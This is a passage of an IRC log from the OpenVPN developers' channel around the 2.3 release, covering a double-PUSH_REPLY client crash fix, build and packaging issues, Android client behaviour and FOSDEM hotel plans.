cough...) 04:50 <@cron2_> in addition, my linux build box at home died saturday... very convenient... NOT 06:33 < plaisthos> cron2_: Yeah, the bug is nasty. I didn't an easy way to fix that apart from the band aid which I am using on the android client since mobile will run into this more easily 06:34 < plaisthos> the strange thing is, the user is connecting against a qnap box, which I did not expect to have 2.3 06:47 <@cron2_> maybe the qnap has 2.1-early, which does not yet have the "do not send PUSH_REPLY twice" fix 07:19 < plaisthos> :) 07:20 < plaisthos> does not really matter anyway :D 07:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:43 <@cron2_> anyway... I wish you all merry christmas, and lots of nice toys! :-) 14:44 <+krzee> merry christmas to you too! 20:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 22:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Dec 25 2012 03:45 <@cron2_> plaisthos: could you send me credentials for the "crash any client" server? Then I'll go and investigate, without having to set up a test rig myself 04:35 -!- cron2_ is now known as cron2 04:59 < plaisthos> cron2: see private message :) 05:20 <@cron2> thanks 05:20 <@cron2> you mentioned a "quick fix" for your clients - how did you tackle this? 05:39 < plaisthos> A quick&dirty hack is to simply md5_state_init the state after the 05:39 < plaisthos> md5_state_final. 05:39 < plaisthos> from the email :) 05:39 < plaisthos> I have thought about the implications of multi message push messages 05:40 < plaisthos> with push-continuation in them 05:50 < plaisthos> and it will probably give a memory leak 06:04 < plaisthos> so not a nice fix :) 06:04 < plaisthos> basically the same you are proposing but in broken :D 06:24 <@cron2> Speicherfehler 06:24 <@cron2> damn localization :-) - but anyway, I can see the problem, and will "now" go test it. Any sort of time planning is a bit difficult with two kids around... 06:37 <@cron2> (actually, using md5 here is so way overkill... it's used to see whether pushed options are identical at reconnect if --persist-tun is set - and that could be achieved as well by just storing a copy of the option string...) 07:10 < plaisthos> cron2: Kein Weltraum links vom Gerät? ;) 07:12 * cron2 has no idea what language *that* was autotranslated from... :-) 07:19 < plaisthos> cron2: literal translation from "no space left on device" 07:19 <@cron2> argh 07:19 * cron2 didn't get "device" and didn't catch the pun on "left"... 09:01 < plaisthos> cron2: acked the patch 10:42 <@cron2> now we just need to wait until dazo reappears... *sigh* 11:20 < plaisthos> he is only one with commit rights? 12:43 <@cron2> yep (I think mattock has the necessary credentials, but our role is "dazo is the czar" :) ) 13:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 22:25 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has joined #openvpn-devel 23:25 -!- novaflash is now known as novaflash_away --- Day changed Wed Dec 26 2012 03:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:39 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 05:01 < plaisthos> \ 05:01 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 05:03 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 05:37 -!- novaflash_away is now known as novaflash 06:10 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds] 06:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 06:11 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 06:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 06:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:12 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 08:14 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 08:14 -!- mode/#openvpn-devel [+o raidz] by ChanServ 08:39 <@mattock> ecrist: can you regenerate the IRC statistics on this page: http://www.secure-computing.net/logs/openvpn.html 08:39 <@vpnHelper> Title: #openvpn @ Freenode stats by ecrist (at www.secure-computing.net) 08:39 <@ecrist> sure, give me a few 08:39 <@mattock> they seem fairly old (from last July) 08:40 <@ecrist> not surprised 08:48 <@mattock> Merry Christmas, btw :) 08:49 <@mattock> fyi: here are some statistics I gathered from forums, mailing lists and git: https://community.openvpn.net/openvpn/wiki/OpenVPN2011-2012 08:49 <@vpnHelper> Title: OpenVPN2011-2012 – OpenVPN Community (at community.openvpn.net) 08:57 <@ecrist> mattock: stats are updated. 08:57 <@mattock> ecrist: thanks! 08:59 <@ecrist> here, too: http://www.secure-computing.net/logs/openvpn-devel.html 08:59 <@vpnHelper> Title: #openvpn-devel @ Freenode stats by ecrist (at www.secure-computing.net) 09:08 <@ecrist> mattock: I'm re-generating for all-time 09:08 <@mattock> ok 09:09 <@ecrist> the old stats page was 2012 only 09:09 <@mattock> I wonder if it's possible to get post counts by author on forums within given timeline 09:10 <@mattock> i.e. "top 10 forum posters in last 2 years" 09:18 <@ecrist> it can be done, but you'd have to query the database directly 09:20 <@ecrist> want me to get that? 09:22 <@mattock> well, if it's not too much work 09:22 <@ecrist> sure 09:22 <@mattock> thanks! 09:31 <@ecrist> http://pastebin.ca/2296822 09:33 <@ecrist> this is a more portable query 09:33 <@ecrist> select username, count(*) as total from phpbb_posts left join phpbb_users on phpbb_users.user_id = phpbb_posts.poster_id where from_unixtime(post_time) > date_sub(curdate(), interval 2 year) group by username order by total desc limit 10; 09:35 <@ecrist> here's all-time: http://pastebin.ca/2296825 09:35 <@ecrist> mattock ^^^ 09:43 <@mattock> ecrist: thanks, I'll update the wiki page 09:45 <@ecrist> if you want IRC stats for two years, I can generate that for you... 09:46 <@mattock> that'd be nice, then all statistics would be from last 2 years 09:47 <@ecrist> gimme a few 09:50 <@ecrist> ok - http://www.secure-computing.net/logs/openvpn.html is for last two years 09:50 <@vpnHelper> Title: #openvpn @ Freenode stats by ecrist (at www.secure-computing.net) 09:51 <@mattock> nice! 10:00 <@mattock> statistics page should now reflect last two years: https://community.openvpn.net/openvpn/wiki/OpenVPN2011-2012 10:00 <@vpnHelper> Title: OpenVPN2011-2012 – OpenVPN Community (at community.openvpn.net) 10:02 -!- mattock is now known as mattock_afk 19:11 -!- raidz is now known as raidz_away 20:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Thu Dec 27 2012 01:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:29 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 250 seconds] 02:43 -!- mattock_afk is now known as mattock 08:04 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has quit [Ping timeout: 244 seconds] 08:04 -!- Tiaos_ [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has joined #openvpn-devel 08:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 251 seconds] 08:59 < plaisthos> bah, I really thinking of a opt-verify with parameters 09:00 < plaisthos> like opt-verify tap "go away, changing dev tap to dev tun in config before importing will not work config work" 09:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:44 <@cron2> so that would be the message to send to the client? 10:44 * cron2 likes the general idea 10:58 -!- raidz_away is now known as raidz 11:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 11:09 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:09 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:28 < plaisthos> cron2: nah like always writing that option to the client file. 13:32 < plaisthos> My importer tells users that dev tap is not support and the configuration cannot be used with the Android client and user the change the config to dev tun and then complain that it does work 14:10 <@cron2> ah, that way :) 14:45 -!- mattock is now known as mattock_afk 15:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 16:38 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 16:48 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 16:48 -!- mode/#openvpn-devel [+o andj] by ChanServ 19:44 -!- raidz is now known as raidz_away 23:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Dec 28 2012 01:21 -!- mattock_afk is now known as mattock 06:09 <@cron2> ohmy 06:09 * cron2 just discovered --static-challenge 06:10 <@cron2> talking about not-so-well-documented options... 06:43 < novaflash> hehe 06:43 < novaflash> so what does that parameter do? lol 06:44 < novaflash> oh i see now 06:44 < novaflash> google is wise 06:46 < novaflash> i have found a bit of a problem with the 'update-resolv-conf' script that comes with the package in debian 06:47 < novaflash> i wonder where i would go to propose a possible fix that i am using now? 06:53 <@cron2> novaflash: it's magic to make the management UI display it's password prompt differently :-) 08:18 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 260 seconds] 09:22 -!- mattock is now known as mattock_afk 10:18 -!- mattock_afk is now known as mattock 10:19 <@mattock> novaflash: re: debian package... is it the official one (from Debian repos), or one mine from repos.openvpn.net? 10:22 < novaflash> mattock: it's the official one 10:23 <@mattock> ok, I believe the current maintainer is agi@inittab.org 10:23 <@mattock> I'll check 10:23 < novaflash> how did you manage to find that out? 10:23 < novaflash> just curious ;) 10:25 <@mattock> yep: https://github.com/mattock/openvpn-build/blob/master/debian/openvpn/debian/control 10:25 <@vpnHelper> Title: openvpn-build/debian/openvpn/debian/control at master · mattock/openvpn-build · GitHub (at github.com) 10:26 <@mattock> well, agi has been around 10:26 <@mattock> I've sent email to him every now and then, and I used his Debian packages as a basis for mine 10:31 < novaflash> cool 10:31 < novaflash> blob master 10:31 < novaflash> Blob Master Debian 10:32 < novaflash> sounds like an honorary title, in that URL 10:32 <@mattock> it sure does :) 10:36 < novaflash> mattock, you mention you have your own repo 10:36 < novaflash> what's that about then? 10:37 <@mattock> I package all official openvpn releases in 32 and 64-bit flavours for Ubuntu 10.04+12.04, Debian 6, Fedora 16 and RHEL6 10:37 < novaflash> nice. okay. and then what happens? 10:37 < novaflash> i mean, then it's on your repo 10:37 <@mattock> the files in the GitHub repo I linked to are there to make that job a bit easier 10:38 <@mattock> yes, it's an "official" openvpn repo at repos.openvpn.net 10:38 < novaflash> ahh 10:38 < novaflash> and so then it's being copied to the other distributions 10:38 < novaflash> and other repos 10:38 < novaflash> like debian's own repos 10:39 <@mattock> probably not, not sure 10:39 < novaflash> so now if the update-resolv-conf script that comes included with the openvpn package for debian 6 has a fault, making it just totally not work and even sabotage someone's DNS settings, i go to agi@inittab.org ? 10:39 <@mattock> I should actually start building snapshots, also 10:39 <@mattock> that was the original intention 10:39 <@mattock> yes, afaik he's still maintaining the debian's official openvpn packages 10:40 < novaflash> cool. 10:40 < novaflash> i'll bug his ass about this. 10:41 <@mattock> here's some info on repos.openvpn.net: https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos 10:41 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net) 10:53 < novaflash> thanks 10:53 < novaflash> in the meantime i'll send the fix over to agi whatshisname and hopefully he'll put it in 10:54 < novaflash> it would resolve the problems people using debian 6 as linux client with dns options are having 10:55 <@mattock> Alberto 11:13 -!- raidz_away is now known as raidz 11:37 -!- mattock is now known as mattock_afk 15:32 < plaisthos> cron2: OpenVPN developer challenge. Find a set of options and let other developer guess what OpenVPN does. The ones where the other take longest to discover wins :D 15:53 <@cron2> heh, that sounds fun :-) 16:04 < novaflash> asian mode: no google allowed 16:22 <+krzee> google wouldnt be an advantage, the manpage is an advantage 16:30 < plaisthos> krzee: the manpage won't help with all thinkgs either :) 16:30 < plaisthos> take pcks12 [[inline]] base64data 16:30 < plaisthos> : 19:08 -!- raidz is now known as raidz_away 19:09 -!- raidz_away is now known as raidz 19:27 -!- raidz is now known as raidz_away --- Day changed Sat Dec 29 2012 02:08 -!- mattock_afk is now known as mattock 02:29 -!- mattock is now known as mattock_afk 02:31 -!- mattock_afk is now known as mattock 05:09 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 248 seconds] 05:10 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:10 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:28 -!- mattock is now known as mattock_afk 14:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Sun Dec 30 2012 03:48 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 06:17 < plaisthos> btw. there now (until 4th januar) discounts on some hotels: https://fosdem.org/2013/practical/accommodation/ 06:17 <@vpnHelper> Title: FOSDEM 2013 - Accommodation (at fosdem.org) 07:41 <@cron2> so what's the IRC client to use on Android? 07:48 -!- AnCron [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:48 -!- mode/#openvpn-devel [+o AnCron] by ChanServ 07:49 <@AnCron> trying yaiirc now... 07:50 -!- AnCron [~gert@openvpn/community/developer/cron2] has quit [Client Quit] 07:54 < waldner> ssh+screen+irssi 10:39 <@cron2> I'm not convinced... 10:39 <@cron2> (that's what I use today, and I find it cumbersome for tablet usage) 14:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:19 -!- Netsplit *.net <-> *.split quits: @cron2, @dazo_afk 14:19 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:19 -!- Netsplit over, joins: dazo_afk 14:19 -!- dazo_afk is now known as dazo 14:30 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 14:30 -!- mode/#openvpn-devel [+o cron2] by ChanServ 16:05 < plaisthos> cron2: no idea. I am not using irc on my android tablet. And when I do I use connectbot (and the ssh+screen+irssi) stuff. And it not really convincing 18:25 < novaflash> mmm can anyone help me on how to use a customized OemWin2k.inf Win32-TAP adapter with openvpn? 18:26 < novaflash> driver is installed fine and the adapter shows up in network connections, but the command "openvpn --show-adapter" is listing only the default driver, not the one i customized 18:30 < novaflash> *--show-adapterS oops 21:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 22:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Dec 31 2012 04:11 -!- novaflash is now known as novaflash_away 04:12 -!- novaflash_away is now known as novaflash 05:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 05:46 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:46 -!- mode/#openvpn-devel [+o andj] by ChanServ 05:50 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 06:21 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 06:36 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:52 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:52 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 14:35 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 248 seconds] 14:35 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Tue Jan 01 2013 13:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 14:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:55 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 23:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Jan 02 2013 04:11 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: foo!] 04:12 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:20 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: foo!] 04:21 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:26 <@cron2> mornin' 04:26 <@cron2> plaisthos: how does your app handle .ovpn config files with embedded <key> which is 3DES-encrypted? Ask once for the password at import, or ask at every connect? 04:27 < plaisthos> cron2: show a Private key password field. If you put your password there it will be saved otherwise it will ask on every connect 04:27 < plaisthos> basically the same as for auth-user-password 04:29 <@cron2> cool 05:27 < plaisthos> the key needs to have the encryption for my app to detect an encrypted key ... 05:27 < plaisthos> encryption line 05:30 < plaisthos> if the key has Proc-Type: 4,ENCRYPTED or -----BEGIN ENCRYPTED PRIVATE KEY----- in it, the app will has for the password. 05:30 < plaisthos> :) 05:44 <@cron2> yeah, that's what my scripts generate (openssl rsa) so that should be fine :-) 05:53 < plaisthos> You can even embed <auth-user-pass> if you want in my app. Not sure if that is a good idea or not so I left it undocumented 05:56 * dazo is catching up on openvpn stuff right now :) 05:57 <@dazo> Anything else needing fixing before a final 2.3? 05:57 <@dazo> I'm tagging the tree after pushing out cron2's fix otherwise 06:06 < plaisthos> Not that I know of 06:07 <@dazo> cron2? 06:07 < plaisthos> persist-remote-ip does some strange things if used with multiple <connection> entries but that is a minor bug 06:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 06:08 <@dazo> yeah, that probably sounds more like a 2.3.1 thing 06:10 < plaisthos> I would also only do this a check that warns user if multiple <connection>/remote are used with persit-remote-ip 06:22 <@cron2> dazo: here! 06:23 <@dazo> cron2: :) 06:23 <@dazo> whazzup? 06:23 <@cron2> 13:07 <@dazo> cron2? 06:23 <@cron2> hadn't seen the lines before that yet :-) 06:23 <@dazo> :) 06:23 <@dazo> Just wondering if I should tag the tree ... just need to review build-bot 06:24 <@cron2> anyway - I think we're good as far as core OpenVPN 2.3 goes, no more bug reports from anyone. There is one trac ticket about the windows ui crashing, but it's a single report so I'm not sure whether this affects anyone else 06:24 <@vpnHelper> RSS Update - testtrac: Fix client crash on double PUSH_REPLY. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=1978db4b9657f0db134f1deaeb1e8400bf6a033e> 06:26 <@dazo> cron2: and windows ui is d12fk plate ... so that's up to him :) 06:27 <@cron2> yep, but it's relevant for us if mattock wants to build a 2.3 windows installer 06:27 <@d12fk> at your service, whats the demand 06:28 <@cron2> d12fk: https://community.openvpn.net/openvpn/ticket/247 06:28 <@vpnHelper> Title: #247 (OpenVPN GUI crashes in 2.3_rc2) – OpenVPN Community (at community.openvpn.net) 06:30 <@d12fk> seems to be an x64 issue as none of our customers complained so far about the x32 version 06:31 <@d12fk> ralted note: maybe i should be using you bugtracker sooner than later as ppl can't really be bothered to decide where to go for what 06:31 <@d12fk> related^^ 06:32 <@dazo> I'm fine with that ... but mattock_afk is the decision maker on that topic 06:32 * cron2 agrees that it makes sense :) 06:33 <@dazo> cron2: your build slaves ... do they pull down openvpn.git or openvpn-testing.git trees? 06:33 <@dazo> never mind ... noticed this line in the logs 06:33 <@dazo> fetching branch beta/2.3 from git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git 06:33 <@dazo> can we make them use "openvpn-testing.git" ? 06:34 <@d12fk> ah they have it on 32 bit too which narrows to problem down 06:34 * dazo ponders ... maybe just push out beta/2.3 to openvpn.git 06:37 <@cron2> dazo: no idea, this is all run by mattock 06:37 <@dazo> cron2: okay :) 06:37 * dazo noticed more failures now 06:37 <@cron2> build/compile, or t_client? 06:37 <@dazo> build/compile 06:38 <@dazo> (can't find beta/2.3 branch) 06:38 <@dazo> I'll push out beta/2.3 as rc/2.3 to openvpn.git tree ... as we're in final RC stages ... and can remove/rename the rc/2.3 branch after release 06:40 < plaisthos> d12fk: you know there is always someone with a weird setup who can trigger bugs you did not know of before :) 06:40 <@cron2> now I see the mails coming in :-) - nothing to do for me 06:41 <@d12fk> plaisthos: yes esp. memory layout is different on 64 bit tested 32bit native only so far 06:43 <@cron2> some of my users have run 2.3_beta1 on 64bit and no problems there. Haven't pushed RC2 to them yet 06:44 <@dazo> beta1 is very old too though 06:44 <@cron2> dazo: you have an interesting definition of "very old" :-) 06:44 <@dazo> heh 06:45 <@dazo> 22 commits :) 06:46 <@dazo> (well, most changes are minor ... and especially if it's clients we're talking about ... server side a have a few more important fixes) 06:52 <@dazo> cron2: your opensolaris boxes are down for buildbot? 06:53 <@cron2> uh 06:53 <@cron2> let me check 06:53 <@cron2> the box is up... 06:54 <@cron2> 2012-10-31 13:14:05+0100 [-] Server Shut Down. 06:54 <@cron2> meh 06:55 <@d12fk> yeah there's a "fix" for mgmt itf handling in v2 06:55 <@cron2> VPN is also gone, grr 06:55 <@d12fk> expect the crash to stem from it 06:56 <@cron2> mmmh 06:57 <@cron2> stupid box. But anyway, openvpn is back, buildbot building "something" 07:14 < plaisthos> Google Android engineers seem to have nice monitors: To do so you need to know the approximate density, in dpi, of your computer monitor (for instance, a 30" Dell monitor has a density of about 96 dpi). 07:15 <@dazo> heh 07:16 <@dazo> 30" monitor without mentioning the resolution will not give the right DPI value though .... 07:17 <@dazo> who knows ... maybe it's 1680x1050 resolutions :-P 07:17 <@cron2> dazo: if you know the size and dpi, you can calculate the resolution :) 07:17 <@dazo> true ... I was just too lazy ;-) 07:21 < plaisthos> dazo: well I think all Dell 30" have 2560x1600 07:21 <@cron2> 96 dpi, that's so old-fashioned 07:21 <@dazo> well, that's decent :) 07:21 * cron2 waits for a reasonable monitor with 200+ dpi to show up 07:22 <@dazo> my private T61p laptop (15.4") got 140dpi ... 1920x1200 07:23 < plaisthos> cron2: and drive it with vga or composite :) 07:24 < plaisthos> Dell actually ships that monitor with the vga cable attached. And the monitor has a composite input ... 07:24 <@dazo> (at least, that's the DPI Xorg insists on ... which I have to change to 96, to actually make things appear reasonably on the screen) 07:24 <@dazo> plaisthos: what happened to digital signals? DisplayPort, HDMI .... 07:25 < plaisthos> dazo: I got those of course but the vga cable is attached when you get any dell monitor ... 07:25 <@dazo> yeah ... I find that rather useless these days, though :/ 07:26 <@cron2> $customer got new HP desktop PCs in 2011, with wide-screen 24" monitors... and VGA only, no digital output or input. 07:26 <@dazo> (but it probably just costs them $0.15 to ship them ... due to this old dying standard) 07:26 <@dazo> !?!?!?! 07:26 <@cron2> I'm lacking words to describe how stupid that is... 07:27 <@dazo> ...... 07:27 < plaisthos> cron2: were that consumor grade TN film displays? 07:27 <@dazo> That's like selling movies on VHS cassettes 07:27 <@cron2> (customer has no idea what he bought, $salesperson told him "yes, this a good deal!") 07:28 * cron2 had no influence, back then. All new stuff *I* get to decide has DVI oder HDMI... 07:28 <@dazo> cron2: seems more and more laptops now comes with DisplayPort ... so avoiding such adapter is probably the way to go now 07:29 <@cron2> well, DVI, HDMI, DP, myDP, as long as it's digital 07:29 <@dazo> :) 07:29 <@dazo> well, DV and HDMI is the absolute minimum, I agree there :) 07:30 <@cron2> what resolutions can DP do? A 21" monitor with "retina" resolution would run up to 4k 07:30 < plaisthos> dunno it can drive a 30" with 2560x1600 just fine 07:31 <@cron2> yes, but 2560 is just 96dpi, that's so last century 07:31 <@cron2> 2560 on a 13" laptop is impressive :-) 07:32 <@cron2> (ex-colleague just bought a mac pro 13" with that display... if I had too much money to spend...) 07:32 <@dazo> I think 2560x1600 uses ~10Gbit/s bandwidth ... and DP can do ~17Gbit/s 07:33 <@cron2> mmmh, not nearly enough then 07:34 <@dazo> but the earlier DP standards had only ~8Gbit/s ... so I'm thinking it's just a matter of time before a newer DP version appears with 30Gbit/s or so 07:35 <@dazo> 3D will drive that need ... to have high resolution 3D images, that'll require roughly twice the bandwidth 07:35 <@dazo> and "everyone" want's 3D :-P 07:35 <@cron2> if they do it typical for this industry, the new standard will then use a different voltage, and half the devices will not talk to the other half, even if both is DP... 07:36 <@dazo> well, they've managed 3 versions of DP already, IIRC 07:37 * dazo checked wikipedia 07:37 <@dazo> " 17.28 Gbit/s of effective video bandwidth, enough for four simultaneous 1080p60 displays (CEA-861 timings) or 2,560 × 1,600 × 30 bit @120 Hz (CVT-R timings)" 07:38 <@dazo> and DP got twice the bandwidth of HDMI ... /me learnt something there 07:40 <@cron2> meh 07:40 <@cron2> my friend in brussels got so sick of brussels that she moved back to Munich 07:40 <@cron2> so which hotel are you all staying in? 07:41 <@dazo> NH Grand Place Arenberg 07:42 <@dazo> 15 Rue D Assaut 07:42 <@dazo> 1000, Brussels 07:43 < plaisthos> I am in NH du Grand Sablon 07:43 < plaisthos> see also https://fosdem.org/2013/practical/accommodation/ 07:43 <@vpnHelper> Title: FOSDEM 2013 - Accommodation (at fosdem.org) 07:45 <@cron2> about the same price (80-ish EUR/night, plus 21/25 EUR for breakfast [what?]) 07:45 <@cron2> where are mattock and d12fk staying? 07:45 <@dazo> I think andj, mattock, d12fk and me are the ones who chose the same one 07:46 <@d12fk> indeed 07:46 * cron2 adds +1 :) 07:46 <@dazo> not sure about mattock though 07:46 < plaisthos> cron2: no idea. On the registration formular of the FOSDEM site it says breakfast included. 07:46 <@cron2> plaisthos: how much are you paying per night? 07:47 < plaisthos> cron2: 90 07:47 <@cron2> hotel pricing is weird 07:47 < plaisthos> https://fosdem.org/2013/assets/accommodation/sablon-0e3e6e237ff17b66999e2ec9b832e850eb27b8990bebe2134c2644b276cc2285.pdf 07:47 <@dazo> hotel pricing is made that way so that they can rob you without letting you know you've been robbed 07:47 < plaisthos> if you search for the hotel with something like hrs.de you get the same price but without breakfast 07:48 <@d12fk> i'm at 70/night at NH Grand Place Arenberg including bf 07:48 <@d12fk> staying 3 nights, maybe theres a discout 07:49 <@cron2> plaisthos: indeed, that's what hrs is offering me as "hot deal". Bah. Hotel web site says 80 including bf 07:49 <@dazo> I paid ~€427 including flight and hotel 07:49 <@d12fk> but had professional booking from frontdesk 07:50 < plaisthos> cron2: wtf 07:50 <@cron2> plaisthos: yep. 07:50 <@cron2> (or 70 if you pay in advance) 07:50 <@cron2> that must be a brusselish thing, usually hrs.de has been ok for me 07:51 <@cron2> d12fk: last time I had our front desk book something for me they got a hotel that took one hour ferry drive to reach... (short story) 07:51 <@d12fk> haha 07:51 <@d12fk> i told them what to book and when 07:53 < plaisthos> anyway, I sticking with my hotel. I don't want more hotel crazyness 07:55 <@cron2> so. booked. let the craziness begin... ("Weekend Extender special deal", I could even bring my wife with me for the same price...) 07:57 < plaisthos> cron2: that was not aviable iirc when I booked ... 07:57 < plaisthos> anyway :) 08:01 <@d12fk> mattock_afk: just downloaded the rc2 installer, started as uaser and the gui complained the it cannot create a reg key. the installer should create those as it needs admin privileges 08:02 -!- mattock_afk is now known as mattock 08:03 <@cron2> that woke him up for good :) 08:04 <@mattock> d12fk: re: rc2 installer: which registry key? 08:05 <@d12fk> the one(s) for the GUI 08:07 <@d12fk> hm cannot reproduce the GUI issue with my win 7 and the rc2 installers 08:08 <@d12fk> https://community.openvpn.net/openvpn/ticket/247 that is 08:08 <@vpnHelper> Title: #247 (OpenVPN GUI crashes in 2.3_rc2) – OpenVPN Community (at community.openvpn.net) 08:13 <@d12fk> how can i contact the reporter of the bug for further communication 08:15 <@mattock> d12fk: I'll get his email for you 08:16 <@d12fk> thanks 08:19 <@d12fk> i'll reply to the ticket as well 08:25 <@mattock> d12fk: check PM 10:47 <@dazo> mattock: you around now? 10:59 <@cron2> haha 10:59 <@cron2> new openvpn option goodie... 10:59 <@cron2> 17:56 <@pkern> "--inetd nowait only makes sense in --dev tap mode" lol whut 11:00 -!- raidz_away is now known as raidz 11:01 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:33 < plaisthos> cron2: obviously 13:11 <@dazo> mattock: ready to spin the final v2.3 release? 13:16 * dazo calls it a day 13:17 -!- dazo is now known as dazo_afk 14:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 14:51 <@mattock> dazo: yep, can do 15:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:26 